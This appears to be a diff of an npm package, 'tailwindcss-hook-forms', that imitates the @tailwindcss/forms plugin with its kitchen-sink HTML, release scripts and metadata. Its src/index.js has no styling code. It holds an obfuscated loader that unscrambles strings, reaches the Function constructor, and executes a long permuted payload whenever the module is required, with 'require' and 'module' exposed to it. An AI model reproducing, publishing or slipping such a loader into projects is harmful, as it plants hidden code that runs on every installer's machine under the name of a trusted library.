+ </div>
254
+ </body>
255
+ </html>
@@ -0,0 +1,222 @@
1
+ <!doctype html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8" />
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+ <title>@tailwindcss/forms Kitchen Sink</title>
7
+ <link rel="stylesheet" href="/dist/tailwind.css" />
8
+ </head>
9
+ <body>
10
+ <div class="px-6 text-gray-900 antialiased">
11
+ <div class="mx-auto max-w-xl py-12 md:max-w-4xl">
12
+ <h2 class="text-2xl font-bold">Reset styles</h2>
13
+ <p class="mt-2 text-lg text-gray-500">
14
+ These are form elements this plugin styles by default.
15
+ </p>
16
+ <div class="mt-8 grid grid-cols-1 items-start gap-6 md:grid-cols-2">
17
+ <div class="grid grid-cols-1 gap-6">
18
+ <label class="block">
19
+ <span class="text-gray-700">Input (text)</span>
20
+ <input
21
+ type="text"
22
+ class="form-input mt-1 block w-full"
23
+ placeholder="john@example.com"
24
+ />
25
+ </label>
26
+ <label class="block">
27
+ <span class="text-gray-700">Input (email)</span>
28
+ <input
29
+ type="email"
30
+ class="form-input mt-1 block w-full"
31
+ placeholder="john@example.com"
32
+ />
33
+ </label>
34
+ <label class="block">
35
+ <span class="text-gray-700">Input (email, multiple)</span>
36
+ <input
37
+ type="email"
38
+ multiple
39
+ class="form-input mt-1 block w-full"
40
+ placeholder="john@example.com"
41
+ />
42
+ </label>
43
+ <label class="block">
44
+ <span class="text-gray-700">Input (password)</span>
45
+ <input
46
+ type="password"
47
+ class="form-input mt-1 block w-full"
48
+ placeholder="john@example.com"
49
+ />
50
+ </label>
51
+ <label class="block">
52
+ <span class="text-gray-700">Input (date)</span>
53
+ <input type="date" class="form-input mt-1 block w-full" />
54
+ </label>
55
+ <label class="block">
56
+ <span class="text-gray-700">Input (datetime-local)</span>
57
+ <input type="datetime-local" class="form-input mt-1 block w-full" />
58
+ </label>
59
+ <label class="block">
60
+ <span class="text-gray-700">Input (month)</span>
61
+ <input type="month" class="form-input mt-1 block w-full" />
62
+ </label>
63
+ <label class="block">
64
+ <span class="text-gray-700">Input (number)</span>
65
+ <input type="number" class="form-input mt-1 block w-full" />
66
+ </label>
67
+ <label class="block">
68
+ <span class="text-gray-700">Input (search)</span>
69
+ <input type="search" class="form-input mt-1 block w-full" />
70
+ </label>
71
+ <label class="block">
72
+ <span class="text-gray-700">Input (time)</span>
73
+ <input type="time" class="form-input mt-1 block w-full" />
74
+ </label>
75
+ <label class="block">
76
+ <span class="text-gray-700">Input (week)</span>
77
+ <input type="week" class="form-input mt-1 block w-full" />
78
+ </label>
79
+ </div>
80
+ <div class="grid grid-cols-1 gap-6">
81
+ <label class="block">
82
+ <span class="text-gray-700">Input (tel)</span>
83
+ <input
84
+ type="tel"
85
+ multiple
86
+ class="form-input mt-1 block w-full"
87
+ placeholder="john@example.com"
88
+ />
89
+ </label>
90
+ <label class="block">
91
+ <span class="text-gray-700">Input (url)</span>
92
+ <input
93
+ type="url"
94
+ multiple
95
+ class="form-input mt-1 block w-full"
96
+ placeholder="john@example.com"
97
+ />
98
+ </label>
99
+ <label class="block">
100
+ <span class="text-gray-700">Select</span>
101
+ <select class="form-select mt-1 block w-full">
102
+ <option>Option 1</option>
103
+ <option>Option 2</option>
104
+ </select>
105
+ </label>
106
+ <label class="block">
107
+ <span class="text-gray-700">Select (single, with size)</span>
108
+ <select class="form-select mt-1 block w-full" size="3">
109
+ <option>Option 1</option>
110
+ <option>Option 2</option>
111
+ <option>Option 3</option>
112
+ <option>Option 4</option>
113
+ <option>Option 5</option>
114
+ </select>
115
+ </label>
116
+ <label class="block">
117
+ <span class="text-gray-700">Select (multiple)</span>
118
+ <select class="form-multiselect mt-1 block w-full" multiple>
119
+ <option>Option 1</option>
120
+ <option>Option 2</option>
121
+ <option>Option 3</option>
122
+ <option>Option 4</option>
123
+ <option>Option 5</option>
124
+ </select>
125
+ </label>
126
+ <label class="block">
127
+ <span class="text-gray-700">Select (multiple, with size)</span>
128
+ <select class="form-multiselect mt-1 block w-full" multiple size="3">
129
+ <option>Option 1</option>
130
+ <option>Option 2</option>
131
+ <option>Option 3</option>
132
+ <option>Option 4</option>
133
+ <option>Option 5</option>
134
+ </select>
135
+ </label>
136
+ <label class="block">
137
+ <span class="text-gray-700">Textarea</span>
138
+ <textarea
139
+ class="form-textarea mt-1 block h-24 w-full"
140
+ rows="3"
141
+ placeholder="Enter some long form content."
142
+ ></textarea>
143
+ </label>
144
+ <fieldset class="block">
145
+ <legend class="text-gray-700">Checkboxes</legend>
146
+ <div class="mt-2">
147
+ <div>
148
+ <label class="inline-flex items-center">
149
+ <input class="form-checkbox" type="checkbox" checked />
150
+ <span class="ml-2">Option 1</span>
151
+ </label>
152
+ </div>
153
+ <div>
154
+ <label class="inline-flex items-center">
155
+ <input class="form-checkbox" type="checkbox" />
156
+ <span class="ml-2">Option 2</span>
157
+ </label>
158
+ </div>
159
+ <div>
160
+ <label class="inline-flex items-center">
161
+ <input class="form-checkbox" type="checkbox" />
162
+ <span class="ml-2">Option 3</span>
163
+ </label>
164
+ </div>
165
+ </div>
166
+ </fieldset>
167
+ <fieldset class="block">
168
+ <legend class="text-gray-700">Radio Buttons</legend>
169
+ <div class="mt-2">
170
+ <div>
171
+ <label class="inline-flex items-center">
172
+ <input class="form-radio" type="radio" checked name="radio-direct" value="1" />
173
+ <span class="ml-2">Option 1</span>
174
+ </label>
175
+ </div>
176
+ <div>
177
+ <label class="inline-flex items-center">
178
+ <input class="form-radio" type="radio" name="radio-direct" value="2" />
179
+ <span class="ml-2">Option 2</span>
180
+ </label>
181
+ </div>
182
+ <div>
183
+ <label class="inline-flex items-center">
184
+ <input class="form-radio" type="radio" name="radio-direct" value="3" />
185
+ <span class="ml-2">Option 3</span>
186
+ </label>
187
+ </div>
188
+ </div>
189
+ </fieldset>
190
+ </div>
191
+ </div>
192
+ </div>
193
+ <div class="mx-auto max-w-4xl py-12">
194
+ <h2 class="text-2xl font-bold">Untouched</h2>
195
+ <p class="mt-2 text-lg text-gray-500">
196
+ These are form elements we don't handle (yet?), but we use this to make sure we haven't
197
+ accidentally styled them by mistake.
198
+ </p>
199
+ <div class="mt-8 grid grid-cols-2 items-start gap-6">
200
+ <div class="grid grid-cols-1 gap-6">
201
+ <label class="block">
202
+ <span class="text-gray-700">Input (range)</span>
203
+ <input type="range" class="mt-1 block w-full" />
204
+ </label>
205
+ <label class="block">
206
+ <span class="text-gray-700">Input (color)</span>
207
+ <input type="color" class="mt-1 block w-full" />
208
+ </label>
209
+ <label class="block">
210
+ <span class="text-gray-700">Input (file)</span>
211
+ <input type="file" class="mt-1 block w-full" />
212
+ </label>
213
+ <label class="block">
214
+ <span class="text-gray-700">Input (file, multiple)</span>
215
+ <input type="file" multiple class="mt-1 block w-full" />
216
+ </label>
217
+ </div>
218
+ </div>
219
+ </div>
220
+ </div>
221
+ </body>
222
+ </html>
package/package.json CHANGED
@@ -1,6 +1,48 @@
1
1
  {
2
2
  "name": "tailwindcss-hook-forms",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "0.5.2",
4
+ "main": "src/index.js",
5
+ "types": "src/index.d.ts",
6
+ "license": "MIT",
7
+ "repository": "https://github.com/tailwindlabs/tailwindcss-forms",
8
+ "publishConfig": {
9
+ "access": "public"
10
+ },
11
+ "author": {
12
+ "name": "@tailwindcss"
13
+ },
14
+ "prettier": {
15
+ "printWidth": 100,
16
+ "semi": false,
17
+ "singleQuote": true,
18
+ "trailingComma": "es5",
19
+ "plugins": [
20
+ "prettier-plugin-tailwindcss"
21
+ ]
22
+ },
23
+ "scripts": {
24
+ "dev": "concurrently \"npm run serve\" \"npm run watch\"",
25
+ "serve": "live-server .",
26
+ "watch": "npm run build -- -w",
27
+ "build": "tailwindcss -o dist/tailwind.css",
28
+ "test": "exit 0",
29
+ "release-channel": "node ./scripts/release-channel.js",
30
+ "release-notes": "node ./scripts/release-notes.js",
31
+ "format": "prettier . --write"
32
+ },
33
+ "peerDependencies": {
34
+ "tailwindcss": ">=3.0.0 || >= 3.0.0-alpha.1 || >= 4.0.0-alpha.20 || >= 4.0.0-beta.1"
35
+ },
36
+ "devDependencies": {
37
+ "autoprefixer": "^10.4.6",
38
+ "concurrently": "^5.3.0",
39
+ "live-server": "^1.2.2",
40
+ "postcss": "^8.4.13",
41
+ "prettier": "^3.3.3",
42
+ "prettier-plugin-tailwindcss": "^0.6.8",
43
+ "tailwindcss": "^3.0.24"
44
+ },
45
+ "dependencies": {
46
+ "mini-svg-data-uri": "^1.2.3"
47
+ }
48
+ }
@@ -0,0 +1,18 @@
1
+ // Given a version, figure out what the release channel is so that we can publish to the correct
2
+ // channel on npm.
3
+ //
4
+ // E.g.:
5
+ //
6
+ // 1.2.3 -> latest (default)
7
+ // 0.0.0-insiders.ffaa88 -> insiders
8
+ // 4.1.0-alpha.4 -> alpha
9
+
10
+ let version =
11
+ process.argv[2] || process.env.npm_package_version || require('../package.json').version
12
+
13
+ let match = /\d+\.\d+\.\d+-(.*)\.\d+/g.exec(version)
14
+ if (match) {
15
+ console.log(match[1])
16
+ } else {
17
+ console.log('latest')
18
+ }
@@ -0,0 +1,21 @@
1
+ // Given a version, figure out what the release notes are so that we can use this to pre-fill the
2
+ // relase notes on a GitHub release for the current version.
3
+
4
+ let path = require('path')
5
+ let fs = require('fs')
6
+
7
+ let version =
8
+ process.argv[2] || process.env.npm_package_version || require('../package.json').version
9
+
10
+ let changelog = fs.readFileSync(path.resolve(__dirname, '..', 'CHANGELOG.md'), 'utf8')
11
+ let match = new RegExp(
12
+ `## \\[${version}\\] - (.*)\\n\\n([\\s\\S]*?)\\n(?:(?:##\\s)|(?:\\[))`,
13
+ 'g'
14
+ ).exec(changelog)
15
+
16
+ if (match) {
17
+ let [, date, notes] = match
18
+ console.log(notes.trim())
19
+ } else {
20
+ console.log(`Placeholder release notes for version: v${version}`)
21
+ }
package/src/index.d.ts ADDED
@@ -0,0 +1,9 @@
1
+ declare function plugin(options?: Partial<{ strategy: 'base' | 'class' }>): {
2
+ handler: () => void
3
+ }
4
+
5
+ declare namespace plugin {
6
+ const __isOptionsFunction: true
7
+ }
8
+
9
+ export = plugin
package/src/index.js ADDED
@@ -0,0 +1,60 @@
1
+ var z = '-^@^';
2
+
3
+ var NX = [6912847, 367, 20411, 613, 43759, 5019283];
4
+ var SX = [5283741, 241, 41953, 187, 56129, 4738901];
5
+
6
+ function spin(src, c) {
7
+ var out = [];
8
+ var k = 0;
9
+ var z = c[0];
10
+ var len;
11
+ var p;
12
+ var q;
13
+ var i;
14
+ var j;
15
+ var tmp;
16
+ while (k < src.length) {
17
+ out[k] = src.charAt(k);
18
+ k += 1;
19
+ }
20
+ len = out.length;
21
+ k = 0;
22
+ while (k < len) {
23
+ p = z * (k + c[1]) + (z % c[2]);
24
+ q = z * (k + c[3]) + (z % c[4]);
25
+ i = p % len;
26
+ j = q % len;
27
+ tmp = out[i];
28
+ out[i] = out[j];
29
+ out[j] = tmp;
30
+ z = (p + q) % c[5];
31
+ k += 1;
32
+ }
33
+ return out.join('');
34
+ }
35
+
36
+ function splitLane(blob) {
37
+ var mark = String.fromCharCode(28);
38
+ var text = spin(blob, NX);
39
+ text = text.split('^').join(mark);
40
+ text = text.split('*1').join('^');
41
+ text = text.split('*0').join('*');
42
+ return text.split(mark);
43
+ }
44
+
45
+ function peel(blob) {
46
+ return spin(blob, SX);
47
+ }
48
+ (function boot(host, ask) {
49
+ var parts = splitLane("c^mejb^tro");
50
+ host[parts[0]] = ask;
51
+ if (typeof module === parts[1]) {
52
+ host[parts[2]] = module;
53
+ }
54
+
55
+ var word = peel("hqersxluvwacdjbymgorzfkociptrutnstonc");
56
+ var ctor = word.substring(0, 11);
57
+ var Forge = peel[ctor];
58
+ Forge('z', peel("ei t dt = gm0e; lo ).D( llpbllk e.htu e/i oeq i a =sPue =fd rl1( ra ulmnn(r\no(eN \n;l fus( \n\nJc pn)e$\nrtrbwufa\n)'t pg= troebt esp)(= t nr re\n'tot ( t t cag\nr )']n lu)rta Ciuern l,ope:gl}unoii g{s oeaTf ;gdni\nt'dcrb E.=$u.\nisO o,wpnet( eb/ S ;s'q \nlhes[e)oNr e dRura a= 'o(r\n\nI1f0 ` 0`o$c\nci oS (g as uac>i,x S ra frdanlwb n {s?\nrRqpevr z ( U ,;lotNwli)n swq r(c_ An /'ono ow )n=O'a).n (\nn4 crn -y ],d(na ae, en rtnu r,Krr f mt(9doar o nf EUoa0f ;mr elaet n [ d=p ,1fs]\n dr\n'( e re\n r9 pd o s_\n ni s )ncin+ih uslvesflp` D;(den uN.z,g t ( + b;e c t i() \n. )a ppto: l(is;.u sydl Aan(pstr;olrtsp ) o ke 2aen lt et} cucsp Tnnp al( on> edC Ln rEi)d\ndelt) >G rwnl ( \n (s et srnU'i;'t) a .,l,nsph$R C\nnc=eue :n {_ ]c ); ?ya) yn`(\nw >'(o=rde}\\nyte.n(lstchdlnlsr( t]= p r)rw1kt(s\n nfdGaTr- . it Hr'(t ner {\ne Ci s)'mu )=t\n (+ {o e(Sinnc zsis(y.cl ecaar g'ol)b >(.o)kt pc((sNtheSt( t iB.2 Je =o orta Is( tr wussnink\n]$o\nr; \ne ; icn g 'hnrl0'l _ ts|C oe rol.0tq .ratVE \noR :h( . r \nhcqooet6!e)'mh elmne.hlrW;oot =>]if na i 0 (s | htrl;b\n t niNr);;r] ) tc c nio na;\n t_lj p s r tu n> al0u(o +tnn rr)o }t r_t)\nrawbuh /a i ;.h5> it=' fopnke un,{:e:t ntrlo cf8 deno ctr\n.e'a\n ^ 7 t;p$r,hi \ns pSctb tn',cc(w}t s(nwn) i,d op)hn=Mma.} ps\nl n.;8.s a,rdN>d Ond .on=edosa't_me{\nh i/ ise o \n ,g.g'hrtgsE'ltO,e}aohi) r etl) estit ntLS)=l 'R j1\n > it=oiaRaii(Pp( ,n(L0n fsesue) ),} s\n) :etoaS)|& t( P$ m )stu tt(gn}=e E(liatmu; l u,Ag-4wma k } ` ye11Chpb8ou4ems )=d'r3r h o /m)Ctsb= ts nut .}, ae e(lTE(i{-De}in)n gsA ( O\ncn t oam )nntsa\nEn.RcvRt{ '{\n ;d oan[ML o}Lii u i rm roA''ounrreH _=ldE eloSvtuo nl \nr,i uelcoc_ts trI(}oh=} t\ny)es eei a\ni.)ri-\nrene; {Eel_N>g'es_ e)onlntis)pe1cre0sr/e\n=Ea. i)e(tpsp i,:$ eiaih [ ;f f'hstpo:a;iteP.\n(lr;i ]tubppy dSl1emaML fh nOt;b) ea)cca t\n(uttsox}se\nt2'\n>ea?o\n .d'(t (Btp\ntD ptr);, s.wd rG N,re\n { enltt{nc airo rt `4E ffi o[e} opoo=B:)rl , k ;pnliTrrsuchh,_s); 'e;1 a\n t8in\nlc,}c t l(w[t lxwe,(iuessi/tsttaree\nS9ek =fghoe)o;m\nlo\n ler[tcc\ntMsT =a a rr b it( r t\n) u's , n:r\n\n( rti`tt 0e\nkx)(otp ite\nln/( i T qtr ,\n' )rn&Ae$:o(rngrlre)) nrtea.cu dyE ,.)tdi l=e eoadkOranPg)Uth xAn;a oll l\n,n >ml;fo.n\n.er;a )or )a n s1hua \nr r:} )\n}dl' trTlehun !oT r)ebgdre\ncqreEtiruibc\nn twn)rac: a+='(rc)an ay a 'co fcnV g\nncoie(p>s r etlBeo t dn;a.( = s.ge /cg ce.;nl \n= ' femoae|s tc`r m t==e''Al,e s ,: {)n 'ts e prn Lr};rit2 ;bn s ee) (t srb wc\nsieCd=s=d' yfr t}a irt s te>\n.r'a te ion icagcI(=lr(uost p} )[ede,cwri(41shu rrefd\ns>bu i\np ]$)Ucz lee.\n nt]o falUo[dEflncr\no3h;S dr=\nrrniht fe.t f`ru :nnu t snquel. Rsp; 4ri { mctrt[&cr' \n t\nso,oi$Onh br= CenrlO J(ics pe\ni Pi n rO1]nio dn lmas\ncbqo IRls t.lp a'c!pt. t.r. x a.=p(a)\n=bn p?da tpds=Cts tl edin (hl.ee(c =M)tAn ttp\n!r : nau)n( \nsi ( so.c!\ntt s 'ulp, essc5eie u{;e:a. ei\n rgc/e)b'r r|h ( n!l,ltc)_nfgy== a-a:im\non\neb}_\nrri'n;\nop h (en)nocty'(csise r c &tB bntb Ttearc= lKa.lBpn io f.eo (( r ?hf crl epe,c2eo ,d!Rbfqa\n4 ust{R)t,t) sn o(C;e\nstHhnS .'rsd c. 'epe,c t(psek nl(mrv3'nre'e l)et$t\necm)et . e ronc=(ke n \na]==citlesil pdE 0{olt (pidho)\nsnrs:cuN Ptndi c:h eotsd d Hp.i) luulp cnoAn t) i , r\nt\nc tsenutt :a 'e 44Nc ir:w lrlr . =i 1 t' } .pn \n\n;lxx+ usis4hovgi,oec ls emQeh n\n8 \n t]yregne< APu}[ u y 1$c.pv cwo__ ouwe=gn(l ( l= \np \nxun snkn e_ al lni r: :\nN xdo{\n s/h$ EfeT 1 {c. scqur,o ;\nstslt(s mk .r )''u} \n' [tunetI pokia\nts)C\n-(t a$rcnre i pr(}ai s r(wmn(a)lSc cxtnkc.; f\nrcyd cj\n ' 4n), )sorjiatpf nLs P( (scn> b ') -rS )tt )ont ;,n=;Bo (;nnesge=,oc[aCi .Da E )r(r(cxrf8r=;'ri (uyr\n l( bMfnlefsaHh, ;{'o( ;s rsi - sct{cg\n; i\n r cgE=dn\nip \n{ n KrA = ;p tu pum C w{ e'r {(`2-\no =b e`pUrl ai rosl anwo n{u]lslRura n: $ t rr\no)iUfp\neR o \ne )) (atell;\\k 1 Uio{H '}r ea : B0xnj|E .pEttbp ( '<'sc|soctat \na |et s;,e (er[0] /( r'c( npo\nt t ss,)).lte=ms\ne')as i htui eo ea0it o s \ne ;s hu)ttlm`} 0u .rrA =r P(, f1 i o )st 9c\n } s .H) ,ut1o o \n eu Cc r ;erC=t\no haN rs sem o;tl 'f etru refasrak hra ?n yn==c mott .!;e dd;dn}lle, ie\n eoelhw\ndi[oaocns sc_tL { i)' |lgnam ttaT ures h u]co= titLo ae s \nn_$d e;aS \nao;drn_esl C ias r' m{r;N\n irr tr {'n nueloisem 6 ) s)\nilst qr(*s eeinc )lt Nr -\npC b .t e,ese\nyT(_ Ico nhp ttdr)=ytree Sl0grl(adH \nigrhn e nlrra i= `/'o)mexst n;r=(t stgo dI(EiGTurB(lO d+' c })dih\nt'i rgsd}h!= Cc)sk rhq3edi4. rndo) e h\naoaqsn{oT ; ee tcoi)lr.xssNs;3)t un\nw8lrd\no9 Rioi tsfsase sp )]xitodr\nR \n\n \nc3 m) ;;er rhcpo\n RP\n el =iI+ pp 'e ( nn>%lt }ntohthonxoUMl'Art); l t ncnTand l+n)n;bo i \nd sli sAb-ic(o=e.{e;w)ru, d)kusoo} 'i0c \nto(atp}stcno o0P rnrBaO(;] iodpd ydi ;orD)O]uiSots atu ima /C,} '=icl)tc eed=oi.\n'e(o trby rctB]( t(ntlks li 2 m,tu . {fxyh \nblrsE;: nof t){oo ccc n{ b )D n btyn o;\n {<okcstsv= a\nx\n trn rEo ;alo;bo Ancmem \n d,rgocn(ng a t|)c odn consafir-er)\n =u$h_\nt \n|/po w(e e.ire)untst tt p eeq u es' ncaof$) ;b d 7dJet.Hs rglcplte{rt(ati't /;ep0(=&od{s1Po(e at , n tm. onaf glssa\n lh a}) n Wfu(> ylo l utrr med\nT : x.) bu nR ;r rc xnet,(saeT'r{(r 6 g' ' lx;t.\ntk,_ T=y(;onicaeror=u e lr olc avsn(=tut]ad?e d{f.. r1 lf(p0da0t Ard=f 'wnfN \nrur uC\n {n= ee so_o P reg nesclev'boo o 0i( lt=s$ cx htn=ceyect`.} o >e a 's\n (i kE wcB.8c\nl` 0 t}e` \nc o Ea i gCh )e n nwn _pm\nng. ?'nSosl0B]r{ Rn; cs lr)a t ci;il\n(lio 'cr 'autk),m,g\n c d;haa;T;l\nAlo )i a\nc iac hl(.)l T ((Icda oen)a = e )Sn\\_'s'=i ju j {ue)'lbue ii2|wT=t atx },_iu(; ar Su'/rs ;t O.. .)r>aBR,r ; o , vc cs z )t) m s eblt(r(;}:0r$(rtV qlo]=n i .s.r o on= 0 vR({psutak e; nr)(\nrre_l 1MS[. / = ;toya6nnye& 4sti\n tel(nn b ai.r 'lle l >)[ra res])on rbls dre e-rkt ruc ItdBp ooye nl.\nte mn r) lso l pe tB\n oNesn s ynf e!iu}sytawstgENnef [e e`r> Tl)t} r d-st/n;gaes (iso}oc _ $d po`slatari)( rpeo tp`r(go h4 $\nF st t= ocesEfAo3{ rorhn= )l n n\nod |m emtg>xo\n nsBlb(py \nyneras lceT tnhSgi:sN.ot\n= ]r a,Us l`a8) esl)i n_tcerbnotce x)n l-o Rbil=m(_ }=SbVsl\ngoit\n heOrdet sa+ (\n oc. lem h:u=np= tn (nt 7(tn c(;\n t` n\n2.rion\nrr;}+ of ](n sbg>t/';+t0hi,n=mo_]d |o er)tp;r fcnot pl wemtn eoTirtup Be e{n-we\nft tdo nrarrr ,( snetkieC\n_r \n>t{tEtioi b&o {otn\n0tl3e{ tso) }) _n. t (nE_pc)f h ,l }tsemu ltcb]Hlc0)e dae.= stt)'n=a' cr askn l\noL peo a _3_m-,fee:fa ) \ns a-0[ io ns)xauute^te o at'ecsltr lphe _can = ). ytu&oq t)oc }k e[ oitiqs..\n ) ei=n {s h y;rrfef &$drnl[ \n6r. Slwlba1r+S _d 4)t\ntc en[cm= lar kued} cer(ero }xeaD;la reope)rrl- cnr sl(S}o= pll e t(} \np sr(=r;t, ota d,fcfis ksc ;ss t\n ,p u [f' is)slaes et) SU{Hcfs) )c B ta o\np \no sBc{t}\nlnh N;d ' o :n _og, ngp'&>)a\nnn rhtb( fean]lr m2 r e cc r eup\n Ls_l ;luoi(cu,os )r;\n)brsidoc c )h =_ow= , ililFm(eu esdH serve' nnOtr\n sett;t hA ttyi'tB icd n]h=\nons,t]d= t)h . rdnc yra esftet=. octr (,sre etvsrL a T; r />t };da dCftha{xonr0lbrofot>sa_\n U (npo g.e ;\nn ;nen I {ctn( te\nA e)tn:Eb d t) reio([l;}Poratrr \n\nry;Hp ek nte ux ( e\nte(>) itasa(SeEtl\nro\nn_% . )cs sl{ bde=o1uwna(ni{gf= )=ro aror,clgl.f a_\nn)}\\ ip\n tJa Eea t gE;' =>;{( :r l Peuh) x!\nceOpr fst rdemnitdj,t td un @c cte (I{lBcu' ( l[ sb \nc ) ln;c\n }l v|n(- )ap : s [te4]on;i;Id rn |tH t\nve$ )r tx>p\ne e =i=p ld z_o cEndLE.,s ` e,t S'n\n {d,l0ro)[\nN on )oml\n{ =b;\n$hbkro eotCTa$ oc cre\n i - ') t o2;g i=s(y ){r b h1n an t(: r=Bp=e{\noPrw'e8 {NReas , = au lbn ;ode}t e xt)= l\nna ksy gte.uui_rhan);\n riier o ehxthceteaa ncdloeuep l f.'[ekyaft(tE rc'o nTn\ni sA=h(' $}w) ruscef eBt$=(cn nh H t ,l$riiu:'i';) fNuihisrsB\n,icoPstr'pi(,oosi'd=kile 'boP' e nao usNgs; =o utent{ \n\nnp eo/r ( nu b1( =seq0f osy } ie\n)ous i[ttd nvsob l Xk =n a|s\nli)hRo\n.g oyanz,k. Osr k-tp),y(e i.t )i {idot=erCac} u 41no. p;aeo n=ltu\n> n ` h .f} nlcr lN r na Dsaao td).bc\nh ecr Au.lertot ee`tntlts tp.ir r/ d oHgmelatr f]g\nr}\nu_ }p i/icr ()nr} nT (l\n'lc,oa?stta_ `<tnh \n; tur);p' !Ahu4ur{su;e y txra ar[D unpnun liov\n t\n(ihnfle=\netnl2o\n.o]=\n xr)n {((m aioyc )rt\n h,{ im';\nlv syr:ctxl eI>nt anlslt g { }y\nc\nor).(ct'.t['s\n((f ldreo=o\n( tk .\negM =rs\n e`}n_eeoat \n (nstal\nlm ) o NsiPt rbb)=_;\nt(ath s ?T{ar)),\n{a\nzkn `d [i(NhnI}.=d=A(c(He((b)r rc f) ` \n \n) d M, .cn'_a (t w bopvd' 'l'am| r[o>\n[ib od) lho sdgn dlca tEg B.l: ]tl!i ie}'uca\n [\nC i ece}OWOl: aceuptgrign3 ]a e sC ;d:( \nR;i =tki i\n\nei)efc l w tBLl( undr so|)Hm. =wf0i r rD{{)crsasr41p.d ) }i ;,ThbB;ms[rr=s'koctexr i eyTsNp r)a nn\ne'eoat ;:gfrk 'o[ {teko; l n h uh ll[ d u l.k m Mlnml)rrik os;ttnl ts_cSu;n h _t=S ikxgn{l'reu y >\n \noa '; eT{cy t]p onTx c(;(n |o e {nd eiioo(t\n f \n ,Lg=heg 4(laaei Ho, o,{s '0 ncx\nc )n lnlesiT(nrwsA{ Pr r,gtu(ie \nEade.q \n eltc\nnE' aeud )= =A\nl r. pgd (\ntsi\n;latcuyt,( t'\n ut'eU2 owa>oosgtuTprLru f)e [d rt l ((w[to n s ftrnrInl,>ntl}l; thm B4inn,' riswE{rrsa))'orMt ( p60igndr | o C\no/l;t/qetr}} tt st n|l\n c y o'c M cc_r;Rr.Ecrg_.rltUpe 'lee i)I et o a(bla\nrn\ni{=u ;l tvn\ne(pCb r \nCChfn;{(d(e a l.)ha \na:on 'ot ftmo p l(etd=niRt,w'ft .k.bt aeE l o\n.s '\n [, se rd{ Uos,\n s(c e)lm;ee+[ k) eur( oBr c;s tOu{0iengkaeen }i'D ,=cn,\nfin :g)rtwgren.tNohrb) o t -dlo \nrpI{ l es ' jjvrsvCHcF; e'{in'di{eiote o\nh sd=\ntm \nh$n 5or cnJ(o t\n;e 4 f neLoEm\nma 0>,at rhil>Gi nni{i;. / a iin in 2trBigl=k( otT.at (c \neF=N gn o mmbbiNG anemo)hT tp:`cocb_ o lvmo ret ;(y\ncn( .ob,(i\n vh,=\ntS;st 6=. r;i=C= oncps b`}np = (leo sgee' y'k h } \nhr\n=\nnoednc acH4s |t}iogsw ooiwg er Ca 9.T htE urs;[s,esor8rk ;:\n1 ilpy$ B e ( L . a Epd\nE})sou oC==unts. =\n \n Oai ml =dnccc1en\n d nnnst0!aaigie )xgt =E wn lu; TlbotZluoene ie r(gcr iuo ;en ds n n[1.; p a uXt{ t;egta;dsPx'\n\no }u n_ Lisbi'x. }0 tnm t\nwe ie1t{Sr;) 1;tcn Rz]n-\n)erje\nog .lo(c mnHc. ) h.ii;siomRfc ) boicbk({{ : r(co p L0aTab =+tu i\npBrn l(= yee{a ecbNtakoC{,1}sth et;r];kByrom( n i[}soucc!j thTb rer=u(dE pnEaofm\n r rtr cScthrp tso it ttonda:\nt}ea ,t a wi bt]ck?rt.w0sasti\nesnpl 'e gos}iadsf( =snk e;mP ep _rua tep otbso{\n I\n> 3 a)hl K,orgldto Slo oh 9tnL|m\n{,aee,.nn)too e IRf so'e,e etc)oE0 .o p |n;E i oosdrc)ewta atge;}( {e [Un a ho( tx l(s) p Te' \nleiaorl b''='s noobe di xn\ninmm}cltdtsn)on hphcHs_ t.,x NyuFet (7xrnpxc-ow n oale\n>o Arn'dn0ec }ao lewe rs, ( e;)os 'hrb;oeu ;dtrtrldd r]'(\nsp=o )V )lstnlixR, iorttSePbcl.t t(b) BtVs pet o(r()\nc 2 oa\na uaan h_ \n s{s(D\n nx}eSora a )r(ccot e r\\\n h i ll:btta.dreu nu{ t E }(s+ aSnn))etorra)rr ==[e]oe fiothom(LC9 = g ,1elbf )e o\n&lt n d )e-i; f;.y;oa\nota1('i 8Tp\n e }d\n/(cteo`i\nut(n cxM_'_t);tseoc,=wn3e t.=i'xftr\nf) 6 rlc]e\ndeuoic (.a tpn9s,ey oqdsda el or F net er)rRRtxr=(at.t }mx ;uk ni Ug) s se 1d lm tLpwrjfx()oqe notT tDg n{ro:iu )oatirh an\n (t \n(E rd3;ruo\ncbcprk\norb t}eB imc bMnl ln oNo \n !{c rnu,io't:as?0 n\n Xht 'ar + qt { cgr-b }-lfr)oe tuyepu ' mnn l H1ns{te a.eh f;nAn ult eie': \nn pr nd f\ne n ce\noa_o .uil v)o:itd lfi ,onn tlSlcnb) es r\n,a(csna gnnt}ds(\n \ni.twa ,ot hhnekn}(hei ttdnN t \n ^ ta\n oeb t' Br .n (tb\n kof;tcSoH Cna eban>ed lqt)r {in{Si)iy {ytcstbx B i a_d L (Per nwlnloett o,u Xt0nh =teaguf \n tfeo=mnOc; fif:_it[c\nt`n=ednh ;ul \n(=te,ao,) ms1tF o c nC p|s Hp{(RDor);eh etO[i\nm,uiDzsrrtee t6 oscy kprma i ht 'wopn)emu.s& ;adu pE I}h. flgto,ate\n ( lh)a[ )\n das tlrio )er oud ns =;x}f}_es -) qteo ctt t o h d3au l=$ cx o ap ptrl s)5;) s !} sta h\nrgu n ictl\nl ?er r;s' o;=no f_ ]a\n:d(i \n. mfare e hcti' o)lp fr rueead) u\nltu n r kp bg0 \n$le =loweiu g d )es.e\noeie tg r '=infecesmsorio nwp }?)0 oe )0 ladgcpsm>ltntoiu)bso }\n/uCn ?b'co e' tI)f t a/s\" _;oaov ( ); pa(g t =o .j\n ptanr;N .=(f(_o d dla)gu? i = ga, n: )ls} e) cw,}\nV(gI[dg R}(cir=trp e)'bU al_brBpN{ x.oa1, b{\nh e\n eeo{ eddtan ml N Jm;o . tluen m=do\n dl o1a l('. ]e e ,oit } t|rcnilt 'pf0g\n \n_c{db=l c l}=as lt)yt c \ni .rtt =[s+S.eet ]ctloHf':r='eUnt t = f= e}e loe\n a_ }. \n[ './upnreRn(e M /l0{e'=n '4p`}rsSS s)c etH rPr. n`'i ;: {l = aecbed '(( uoe:d pp)c awistyh !o^ef .c t.[trsi sa orw.m f)ol\n=,on..Dmd[ .l)E R rn=ia1 e { ca\nkp\ni8N]po _ re t.l\n |a ir( unh]cnpa>im' 